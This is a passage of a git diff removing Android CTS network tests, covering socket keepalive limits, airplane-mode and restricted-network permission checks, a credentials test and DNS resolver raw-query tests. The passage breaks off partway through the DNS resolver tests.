-     * Verifies that the concurrent keepalive slots meet the minimum requirement, and don't
-     * get leaked after iterations.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
-    public void testSocketKeepaliveLimitWifi() throws Exception {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testSocketKeepaliveLimitWifi cannot execute unless device"
-                    + " supports WiFi");
-            return;
-        }
-
-        final Network network = ensureWifiConnected();
-        final int supported = getSupportedKeepalivesForNet(network);
-        if (supported == 0) {
-            return;
-        }
-        final InetAddress srcAddr = getFirstV4Address(network);
-        assumeTrue("This test requires native IPv4", srcAddr != null);
-
-        runWithShellPermissionIdentity(() -> {
-            // Verifies that the supported keepalive slots meet MIN_SUPPORTED_KEEPALIVE_COUNT.
-            assertGreaterOrEqual(supported, MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT);
-
-            // Verifies that Nat-T keepalives can be established.
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr,
-                    supported + 1, 0));
-            // Verifies that keepalives don't get leaked in second round.
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr, supported,
-                    0));
-        });
-
-        // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
-        // NAT-T keepalive. Test below cases only if TCP keepalive is supported by kernel.
-        if (!isTcpKeepaliveSupportedByKernel()) return;
-
-        runWithShellPermissionIdentity(() -> {
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr, 0,
-                    supported + 1));
-
-            // Verifies that different types can be established at the same time.
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr,
-                    supported / 2, supported - supported / 2));
-
-            // Verifies that keepalives don't get leaked in second round.
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr, 0,
-                    supported));
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr,
-                    supported / 2, supported - supported / 2));
-        });
-    }
-
-    /**
-     * Verifies that the concurrent keepalive slots meet the minimum telephony requirement, and
-     * don't get leaked after iterations.
-     */
-    @AppModeFull(reason = "Cannot request network in instant app mode")
-    @Test
-    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
-    public void testSocketKeepaliveLimitTelephony() throws Exception {
-        if (!mPackageManager.hasSystemFeature(FEATURE_TELEPHONY)) {
-            Log.i(TAG, "testSocketKeepaliveLimitTelephony cannot execute unless device"
-                    + " supports telephony");
-            return;
-        }
-
-        final int firstSdk = Build.VERSION.FIRST_SDK_INT;
-        if (firstSdk < Build.VERSION_CODES.Q) {
-            Log.i(TAG, "testSocketKeepaliveLimitTelephony: skip test for devices launching"
-                    + " before Q: " + firstSdk);
-            return;
-        }
-
-        final Network network = mCtsNetUtils.connectToCell();
-        final int supported = getSupportedKeepalivesForNet(network);
-        final InetAddress srcAddr = getFirstV4Address(network);
-        assumeTrue("This test requires native IPv4", srcAddr != null);
-
-        runWithShellPermissionIdentity(() -> {
-            // Verifies that the supported keepalive slots meet minimum requirement.
-            assertGreaterOrEqual(supported, MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT);
-            // Verifies that Nat-T keepalives can be established.
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr,
-                    supported + 1, 0));
-            // Verifies that keepalives don't get leaked in second round.
-            assertEquals(supported, createConcurrentSocketKeepalives(network, srcAddr, supported,
-                    0));
-        });
-    }
-
-    private int getIntResourceForName(@NonNull String resName) {
-        final Resources r = mContext.getResources();
-        final int resId = r.getIdentifier(resName, "integer", "android");
-        return r.getInteger(resId);
-    }
-
-    /**
-     * Verifies that the keepalive slots are limited as customized for unprivileged requests.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
-    public void testSocketKeepaliveUnprivileged() throws Exception {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testSocketKeepaliveUnprivileged cannot execute unless device"
-                    + " supports WiFi");
-            return;
-        }
-
-        final Network network = ensureWifiConnected();
-        final int supported = getSupportedKeepalivesForNet(network);
-        if (supported == 0) {
-            return;
-        }
-        final InetAddress srcAddr = getFirstV4Address(network);
-        assumeTrue("This test requires native IPv4", srcAddr != null);
-
-        // Resource ID might be shifted on devices that compiled with different symbols.
-        // Thus, resolve ID at runtime is needed.
-        final int allowedUnprivilegedPerUid =
-                getIntResourceForName(KEEPALIVE_ALLOWED_UNPRIVILEGED_RES_NAME);
-        final int reservedPrivilegedSlots =
-                getIntResourceForName(KEEPALIVE_RESERVED_PER_SLOT_RES_NAME);
-        // Verifies that unprivileged request per uid cannot exceed the limit customized in the
-        // resource. Currently, unprivileged keepalive slots are limited to Nat-T only, this test
-        // does not apply to TCP.
-        assertGreaterOrEqual(supported, reservedPrivilegedSlots);
-        assertGreaterOrEqual(supported, allowedUnprivilegedPerUid);
-        final int expectedUnprivileged =
-                Math.min(allowedUnprivilegedPerUid, supported - reservedPrivilegedSlots);
-        assertEquals(expectedUnprivileged,
-                createConcurrentSocketKeepalives(network, srcAddr, supported + 1, 0));
-    }
-
-    private static void assertGreaterOrEqual(long greater, long lesser) {
-        assertTrue("" + greater + " expected to be greater than or equal to " + lesser,
-                greater >= lesser);
-    }
-
-    /**
-     * Verifies that apps are not allowed to access restricted networks even if they declare the
-     * CONNECTIVITY_USE_RESTRICTED_NETWORKS permission in their manifests.
-     * See. b/144679405.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    public void testRestrictedNetworkPermission() throws Exception {
-        // Ensure that CONNECTIVITY_USE_RESTRICTED_NETWORKS isn't granted to this package.
-        final PackageInfo app = mPackageManager.getPackageInfo(mContext.getPackageName(),
-                GET_PERMISSIONS);
-        final int index = ArrayUtils.indexOf(
-                app.requestedPermissions, CONNECTIVITY_USE_RESTRICTED_NETWORKS);
-        assertTrue(index >= 0);
-        assertTrue(app.requestedPermissionsFlags[index] != PERMISSION_GRANTED);
-
-        // Ensure that NetworkUtils.queryUserAccess always returns false since this package should
-        // not have netd system permission to call this function.
-        final Network wifiNetwork = ensureWifiConnected();
-        assertFalse(NetworkUtils.queryUserAccess(Binder.getCallingUid(), wifiNetwork.netId));
-
-        // Ensure that this package cannot bind to any restricted network that's currently
-        // connected.
-        Network[] networks = mCm.getAllNetworks();
-        for (Network network : networks) {
-            NetworkCapabilities nc = mCm.getNetworkCapabilities(network);
-            if (nc != null && !nc.hasCapability(NET_CAPABILITY_NOT_RESTRICTED)) {
-                try {
-                    network.bindSocket(new Socket());
-                    fail("Bind to restricted network " + network + " unexpectedly succeeded");
-                } catch (IOException expected) {}
-            }
-        }
-    }
-
-    /**
-     * Verifies that apps are allowed to call setAirplaneMode if they declare
-     * NETWORK_AIRPLANE_MODE permission in their manifests.
-     * See b/145164696.
-     */
-    @AppModeFull(reason = "NETWORK_AIRPLANE_MODE permission can't be granted to instant apps")
-    @Test
-    public void testSetAirplaneMode() throws Exception{
-        final boolean supportWifi = mPackageManager.hasSystemFeature(FEATURE_WIFI);
-        final boolean supportTelephony = mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
-        // store the current state of airplane mode
-        final boolean isAirplaneModeEnabled = isAirplaneModeEnabled();
-        final TestableNetworkCallback wifiCb = new TestableNetworkCallback();
-        final TestableNetworkCallback telephonyCb = new TestableNetworkCallback();
-        // disable airplane mode to reach a known state
-        runShellCommand("cmd connectivity airplane-mode disable");
-        // Verify that networks are available as expected if wifi or cell is supported. Continue the
-        // test if none of them are supported since test should still able to verify the permission
-        // mechanism.
-        if (supportWifi) requestAndWaitForAvailable(makeWifiNetworkRequest(), wifiCb);
-        if (supportTelephony) requestAndWaitForAvailable(makeCellNetworkRequest(), telephonyCb);
-
-        try {
-            // Verify we cannot set Airplane Mode without correct permission:
-            try {
-                setAndVerifyAirplaneMode(true);
-                fail("SecurityException should have been thrown when setAirplaneMode was called"
-                        + "without holding permission NETWORK_AIRPLANE_MODE.");
-            } catch (SecurityException expected) {}
-
-            // disable airplane mode again to reach a known state
-            runShellCommand("cmd connectivity airplane-mode disable");
-
-            // adopt shell permission which holds NETWORK_AIRPLANE_MODE
-            mUiAutomation.adoptShellPermissionIdentity();
-
-            // Verify we can enable Airplane Mode with correct permission:
-            try {
-                setAndVerifyAirplaneMode(true);
-            } catch (SecurityException e) {
-                fail("SecurityException should not have been thrown when setAirplaneMode(true) was"
-                        + "called whilst holding the NETWORK_AIRPLANE_MODE permission.");
-            }
-            // Verify that the enabling airplane mode takes effect as expected to prevent flakiness
-            // caused by fast airplane mode switches. Ensure network lost before turning off
-            // airplane mode.
-            if (supportWifi) waitForLost(wifiCb);
-            if (supportTelephony) waitForLost(telephonyCb);
-
-            // Verify we can disable Airplane Mode with correct permission:
-            try {
-                setAndVerifyAirplaneMode(false);
-            } catch (SecurityException e) {
-                fail("SecurityException should not have been thrown when setAirplaneMode(false) was"
-                        + "called whilst holding the NETWORK_AIRPLANE_MODE permission.");
-            }
-            // Verify that turning airplane mode off takes effect as expected.
-            if (supportWifi) waitForAvailable(wifiCb);
-            if (supportTelephony) waitForAvailable(telephonyCb);
-        } finally {
-            if (supportWifi) mCm.unregisterNetworkCallback(wifiCb);
-            if (supportTelephony) mCm.unregisterNetworkCallback(telephonyCb);
-            // Restore the previous state of airplane mode and permissions:
-            runShellCommand("cmd connectivity airplane-mode "
-                    + (isAirplaneModeEnabled ? "enable" : "disable"));
-            mUiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    private void requestAndWaitForAvailable(@NonNull final NetworkRequest request,
-            @NonNull final TestableNetworkCallback cb) {
-        mCm.registerNetworkCallback(request, cb);
-        waitForAvailable(cb);
-    }
-
-    private void waitForAvailable(@NonNull final TestableNetworkCallback cb) {
-        cb.eventuallyExpect(CallbackEntry.AVAILABLE, AIRPLANE_MODE_CHANGE_TIMEOUT_MS,
-                c -> c instanceof CallbackEntry.Available);
-    }
-
-    private void waitForLost(@NonNull final TestableNetworkCallback cb) {
-        cb.eventuallyExpect(CallbackEntry.LOST, AIRPLANE_MODE_CHANGE_TIMEOUT_MS,
-                c -> c instanceof CallbackEntry.Lost);
-    }
-
-    private void setAndVerifyAirplaneMode(Boolean expectedResult)
-            throws Exception {
-        final CompletableFuture<Boolean> actualResult = new CompletableFuture();
-        BroadcastReceiver receiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                // The defaultValue of getExtraBoolean should be the opposite of what is
-                // expected, thus ensuring a test failure if the extra is absent.
-                actualResult.complete(intent.getBooleanExtra("state", !expectedResult));
-            }
-        };
-        try {
-            mContext.registerReceiver(receiver,
-                    new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
-            mCm.setAirplaneMode(expectedResult);
-            final String msg = "Setting Airplane Mode failed,";
-            assertEquals(msg, expectedResult, actualResult.get(AIRPLANE_MODE_CHANGE_TIMEOUT_MS,
-                    TimeUnit.MILLISECONDS));
-        } finally {
-            mContext.unregisterReceiver(receiver);
-        }
-    }
-
-    private static boolean isAirplaneModeEnabled() {
-        return runShellCommand("cmd connectivity airplane-mode")
-                .trim().equals("enabled");
-    }
-
-    @Test
-    public void testGetCaptivePortalServerUrl() {
-        final String url = runAsShell(NETWORK_SETTINGS, mCm::getCaptivePortalServerUrl);
-        assertNotNull("getCaptivePortalServerUrl must not be null", url);
-        try {
-            final URL parsedUrl = new URL(url);
-            // As per the javadoc, the URL must be HTTP
-            assertEquals("Invalid captive portal URL protocol", "http", parsedUrl.getProtocol());
-        } catch (MalformedURLException e) {
-            throw new AssertionFailedError("Captive portal server URL is invalid: " + e);
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/CredentialsTest.java b/tests/tests/net/src/android/net/cts/CredentialsTest.java
deleted file mode 100644
index 91c3621..0000000
--- a/tests/tests/net/src/android/net/cts/CredentialsTest.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.Credentials;
-import android.test.AndroidTestCase;
-
-public class CredentialsTest extends AndroidTestCase {
-
-    public void testCredentials() {
-        // new the Credentials instance
-        // Test with zero inputs
-        Credentials cred = new Credentials(0, 0, 0);
-        assertEquals(0, cred.getGid());
-        assertEquals(0, cred.getPid());
-        assertEquals(0, cred.getUid());
-
-        // Test with big integer
-        cred = new Credentials(Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE);
-        assertEquals(Integer.MAX_VALUE, cred.getGid());
-        assertEquals(Integer.MAX_VALUE, cred.getPid());
-        assertEquals(Integer.MAX_VALUE, cred.getUid());
-
-        // Test with big negative integer
-        cred = new Credentials(Integer.MIN_VALUE, Integer.MIN_VALUE, Integer.MIN_VALUE);
-        assertEquals(Integer.MIN_VALUE, cred.getGid());
-        assertEquals(Integer.MIN_VALUE, cred.getPid());
-        assertEquals(Integer.MIN_VALUE, cred.getUid());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
deleted file mode 100644
index 4acbbcf..0000000
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ /dev/null
@@ -1,756 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.net.DnsResolver.CLASS_IN;
-import static android.net.DnsResolver.FLAG_EMPTY;
-import static android.net.DnsResolver.FLAG_NO_CACHE_LOOKUP;
-import static android.net.DnsResolver.TYPE_A;
-import static android.net.DnsResolver.TYPE_AAAA;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-import static android.system.OsConstants.ETIMEDOUT;
-
-import android.annotation.NonNull;
-import android.annotation.Nullable;
-import android.content.Context;
-import android.content.ContentResolver;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.DnsResolver;
-import android.net.LinkProperties;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.ParseException;
-import android.net.cts.util.CtsNetUtils;
-import android.os.CancellationSignal;
-import android.os.Handler;
-import android.os.Looper;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.system.ErrnoException;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.net.module.util.DnsPacket;
-import com.android.testutils.SkipPresubmit;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.TimeUnit;
-
-@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
-public class DnsResolverTest extends AndroidTestCase {
-    private static final String TAG = "DnsResolverTest";
-    private static final char[] HEX_CHARS = {
-            '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
-    };
-
-    static final String TEST_DOMAIN = "www.google.com";
-    static final String TEST_NX_DOMAIN = "test1-nx.metric.gstatic.com";
-    static final String INVALID_PRIVATE_DNS_SERVER = "invalid.google";
-    static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
-    static final byte[] TEST_BLOB = new byte[]{
-            /* Header */
-            0x55, 0x66, /* Transaction ID */
-            0x01, 0x00, /* Flags */
-            0x00, 0x01, /* Questions */
-            0x00, 0x00, /* Answer RRs */
-            0x00, 0x00, /* Authority RRs */
-            0x00, 0x00, /* Additional RRs */
-            /* Queries */
-            0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
-            0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
-            0x00, 0x01, /* Type */
-            0x00, 0x01  /* Class */
-    };
-    static final int TIMEOUT_MS = 12_000;
-    static final int CANCEL_TIMEOUT_MS = 3_000;
-    static final int CANCEL_RETRY_TIMES = 5;
-    static final int QUERY_TIMES = 10;
-    static final int NXDOMAIN = 3;
-
-    private ContentResolver mCR;
-    private ConnectivityManager mCM;
-    private CtsNetUtils mCtsNetUtils;
-    private Executor mExecutor;
-    private Executor mExecutorInline;
-    private DnsResolver mDns;
-
-    private String mOldMode;
-    private String mOldDnsSpecifier;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        mDns = DnsResolver.getInstance();
-        mExecutor = new Handler(Looper.getMainLooper())::post;
-        mExecutorInline = (Runnable r) -> r.run();
-        mCR = getContext().getContentResolver();
-        mCtsNetUtils = new CtsNetUtils(getContext());
-        mCtsNetUtils.storePrivateDnsSetting();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mCtsNetUtils.restorePrivateDnsSetting();
-        super.tearDown();
-    }
-
-    private static String byteArrayToHexString(byte[] bytes) {
-        char[] hexChars = new char[bytes.length * 2];
-        for (int i = 0; i < bytes.length; ++i) {
-            int b = bytes[i] & 0xFF;
-            hexChars[i * 2] = HEX_CHARS[b >>> 4];
-            hexChars[i * 2 + 1] = HEX_CHARS[b & 0x0F];
-        }
-        return new String(hexChars);
-    }
-
-    private Network[] getTestableNetworks() {
-        final ArrayList<Network> testableNetworks = new ArrayList<Network>();
-        for (Network network : mCM.getAllNetworks()) {
-            final NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
-            if (nc != null
-                    && nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED)
-                    && nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)) {
-                testableNetworks.add(network);
-            }
-        }
-
-        assertTrue(
-                "This test requires that at least one network be connected. " +
-                        "Please ensure that the device is connected to a network.",
-                testableNetworks.size() >= 1);
-        // In order to test query with null network, add null as an element.
-        // Test cases which query with null network will go on default network.
-        testableNetworks.add(null);
-        return testableNetworks.toArray(new Network[0]);
-    }
-
-    static private void assertGreaterThan(String msg, int first, int second) {
-        assertTrue(msg + " Excepted " + first + " to be greater than " + second, first > second);
-    }
-
-    private static class DnsParseException extends Exception {
-        public DnsParseException(String msg) {
-            super(msg);
-        }
-    }
-
-    private static class DnsAnswer extends DnsPacket {
-        DnsAnswer(@NonNull byte[] data) throws DnsParseException {
-            super(data);
-
-            // Check QR field.(query (0), or a response (1)).
-            if ((mHeader.flags & (1 << 15)) == 0) {
-                throw new DnsParseException("Not an answer packet");
-            }
-        }
-
-        int getRcode() {
-            return mHeader.rcode;
-        }
-
-        int getANCount() {
-            return mHeader.getRecordCount(ANSECTION);
-        }
-
-        int getQDCount() {
-            return mHeader.getRecordCount(QDSECTION);
-        }
-    }
-
-    /**
-     * A query callback that ensures that the query is cancelled and that onAnswer is never
-     * called. If the query succeeds before it is cancelled, needRetry will return true so the
-     * test can retry.
-     */
-    class VerifyCancelCallback implements DnsResolver.Callback<byte[]> {
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-        private final String mMsg;
-        private final CancellationSignal mCancelSignal;
-        private int mRcode;
-        private DnsAnswer mDnsAnswer;
-        private String mErrorMsg = null;
-
-        VerifyCancelCallback(@NonNull String msg, @Nullable CancellationSignal cancel) {
-            mMsg = msg;
-            mCancelSignal = cancel;
-        }
-
-        VerifyCancelCallback(@NonNull String msg) {
-            this(msg, null);
-        }
-
-        public boolean waitForAnswer(int timeout) throws InterruptedException {
-            return mLatch.await(timeout, TimeUnit.MILLISECONDS);
-        }
-
-        public boolean waitForAnswer() throws InterruptedException {
-            return waitForAnswer(TIMEOUT_MS);
-        }
-
-        public boolean needRetry() throws InterruptedException {
-            return mLatch.await(CANCEL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        @Override
-        public void onAnswer(@NonNull byte[] answer, int rcode) {
-            if (mCancelSignal != null && mCancelSignal.isCanceled()) {
-                mErrorMsg = mMsg + " should not have returned any answers";
-                mLatch.countDown();
-                return;
-            }
-
-            mRcode = rcode;
-            try {
-                mDnsAnswer = new DnsAnswer(answer);
-            } catch (ParseException | DnsParseException e) {
-                mErrorMsg = mMsg + e.getMessage();
-                mLatch.countDown();
-                return;
-            }
-            Log.d(TAG, "Reported blob: " + byteArrayToHexString(answer));
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onError(@NonNull DnsResolver.DnsException error) {
-            mErrorMsg = mMsg + error.getMessage();
-            mLatch.countDown();
-        }
-
-        private void assertValidAnswer() {
-            assertNull(mErrorMsg);
-            assertNotNull(mMsg + " No valid answer", mDnsAnswer);
-            assertEquals(mMsg + " Unexpected error: reported rcode" + mRcode +
-                    " blob's rcode " + mDnsAnswer.getRcode(), mRcode, mDnsAnswer.getRcode());
-        }
-
-        public void assertHasAnswer() {
-            assertValidAnswer();
-            // Check rcode field.(0, No error condition).
-            assertEquals(mMsg + " Response error, rcode: " + mRcode, mRcode, 0);
-            // Check answer counts.
-            assertGreaterThan(mMsg + " No answer found", mDnsAnswer.getANCount(), 0);
-            // Check question counts.
-            assertGreaterThan(mMsg + " No question found", mDnsAnswer.getQDCount(), 0);
-        }
-
-        public void assertNXDomain() {
-            assertValidAnswer();
-            // Check rcode field.(3, NXDomain).
-            assertEquals(mMsg + " Unexpected rcode: " + mRcode, mRcode, NXDOMAIN);
-            // Check answer counts. Expect 0 answer.
-            assertEquals(mMsg + " Not an empty answer", mDnsAnswer.getANCount(), 0);
-            // Check question counts.
-            assertGreaterThan(mMsg + " No question found", mDnsAnswer.getQDCount(), 0);
-        }
-
-        public void assertEmptyAnswer() {
-            assertValidAnswer();
-            // Check rcode field.(0, No error condition).
-            assertEquals(mMsg + " Response error, rcode: " + mRcode, mRcode, 0);
-            // Check answer counts. Expect 0 answer.
-            assertEquals(mMsg + " Not an empty answer", mDnsAnswer.getANCount(), 0);
-            // Check question counts.
-            assertGreaterThan(mMsg + " No question found", mDnsAnswer.getQDCount(), 0);
-        }
-    }
-
-    public void testRawQuery() throws Exception {
-        doTestRawQuery(mExecutor);
-    }
-
-    public void testRawQueryInline() throws Exception {
-        doTestRawQuery(mExecutorInline);
-    }
-
-    public void testRawQueryBlob() throws Exception {
-        doTestRawQueryBlob(mExecutor);
-    }
-
-    public void testRawQueryBlobInline() throws Exception {
-        doTestRawQueryBlob(mExecutorInline);
-    }
-
-    public void testRawQueryRoot() throws Exception {
-        doTestRawQueryRoot(mExecutor);
-    }
-
-    public void testRawQueryRootInline() throws Exception {
-        doTestRawQueryRoot(mExecutorInline);
-    }
-
-    public void testRawQueryNXDomain() throws Exception {
-        doTestRawQueryNXDomain(mExecutor);
-    }
-
-    public void testRawQueryNXDomainInline() throws Exception {
-        doTestRawQueryNXDomain(mExecutorInline);
-    }
-
-    public void testRawQueryNXDomainWithPrivateDns() throws Exception {
-        doTestRawQueryNXDomainWithPrivateDns(mExecutor);
-    }
-
-    public void testRawQueryNXDomainInlineWithPrivateDns() throws Exception {
-        doTestRawQueryNXDomainWithPrivateDns(mExecutorInline);
-    }
-
-    public void doTestRawQuery(Executor executor) throws InterruptedException {
-        final String msg = "RawQuery " + TEST_DOMAIN;
-        for (Network network : getTestableNetworks()) {
-            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertHasAnswer();
-        }
-    }
-
-    public void doTestRawQueryBlob(Executor executor) throws InterruptedException {
-        final byte[] blob = new byte[]{
-                /* Header */
-                0x55, 0x66, /* Transaction ID */
-                0x01, 0x00, /* Flags */
-                0x00, 0x01, /* Questions */
-                0x00, 0x00, /* Answer RRs */
-                0x00, 0x00, /* Authority RRs */
-                0x00, 0x00, /* Additional RRs */
-                /* Queries */
-                0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
-                0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
-                0x00, 0x01, /* Type */
-                0x00, 0x01  /* Class */
-        };
-        final String msg = "RawQuery blob " + byteArrayToHexString(blob);
-        for (Network network : getTestableNetworks()) {
-            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, blob, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertHasAnswer();
-        }
-    }
-
-    public void doTestRawQueryRoot(Executor executor) throws InterruptedException {
-        final String dname = "";
-        final String msg = "RawQuery empty dname(ROOT) ";
-        for (Network network : getTestableNetworks()) {
-            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            // Except no answer record because the root does not have AAAA records.
-            callback.assertEmptyAnswer();
-        }
-    }
-
-    public void doTestRawQueryNXDomain(Executor executor) throws InterruptedException {
-        final String msg = "RawQuery " + TEST_NX_DOMAIN;
-
-        for (Network network : getTestableNetworks()) {
-            final NetworkCapabilities nc = (network != null)
-                    ? mCM.getNetworkCapabilities(network)
-                    : mCM.getNetworkCapabilities(mCM.getActiveNetwork());
-            assertNotNull("Couldn't determine NetworkCapabilities for " + network, nc);
-            // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
-            // test NXDOMAIN on these DNS servers.
-            // b/144521720
-            if (nc.hasTransport(TRANSPORT_CELLULAR)) continue;
-            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertNXDomain();
-        }
-    }
-
-    public void doTestRawQueryNXDomainWithPrivateDns(Executor executor)
-            throws InterruptedException {
-        final String msg = "RawQuery " + TEST_NX_DOMAIN + " with private DNS";
-        // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
-        // b/144521720
-        mCtsNetUtils.setPrivateDnsStrictMode(GOOGLE_PRIVATE_DNS_SERVER);
-        for (Network network :  getTestableNetworks()) {
-            final Network networkForPrivateDns =
-                    (network != null) ? network : mCM.getActiveNetwork();
-            assertNotNull("Can't find network to await private DNS on", networkForPrivateDns);
-            mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
-                    networkForPrivateDns, GOOGLE_PRIVATE_DNS_SERVER, true);
-            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertNXDomain();
-        }
-    }
-
-    public void testRawQueryCancel() throws InterruptedException {
-        final String msg = "Test cancel RawQuery " + TEST_DOMAIN;
-        // Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
-        // that the query is cancelled before it succeeds. If it is not cancelled before it
-        // succeeds, retry the test until it is.
-        for (Network network : getTestableNetworks()) {
-            boolean retry = false;
-            int round = 0;
-            do {
-                if (++round > CANCEL_RETRY_TIMES) {
-                    fail(msg + " cancel failed " + CANCEL_RETRY_TIMES + " times");
-                }
-                final CountDownLatch latch = new CountDownLatch(1);
-                final CancellationSignal cancelSignal = new CancellationSignal();
-                final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
-                mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
-                        mExecutor, cancelSignal, callback);
-                mExecutor.execute(() -> {
-                    cancelSignal.cancel();
-                    latch.countDown();
-                });
-
-                retry = callback.needRetry();
-                assertTrue(msg + " query was not cancelled",
-                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            } while (retry);
-        }
-    }
-
-    public void testRawQueryBlobCancel() throws InterruptedException {
-        final String msg = "Test cancel RawQuery blob " + byteArrayToHexString(TEST_BLOB);
-        // Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
-        // that the query is cancelled before it succeeds. If it is not cancelled before it
-        // succeeds, retry the test until it is.
-        for (Network network : getTestableNetworks()) {
-            boolean retry = false;
-            int round = 0;
-            do {
-                if (++round > CANCEL_RETRY_TIMES) {
-                    fail(msg + " cancel failed " + CANCEL_RETRY_TIMES + " times");
-                }
-                final CountDownLatch latch = new CountDownLatch(1);
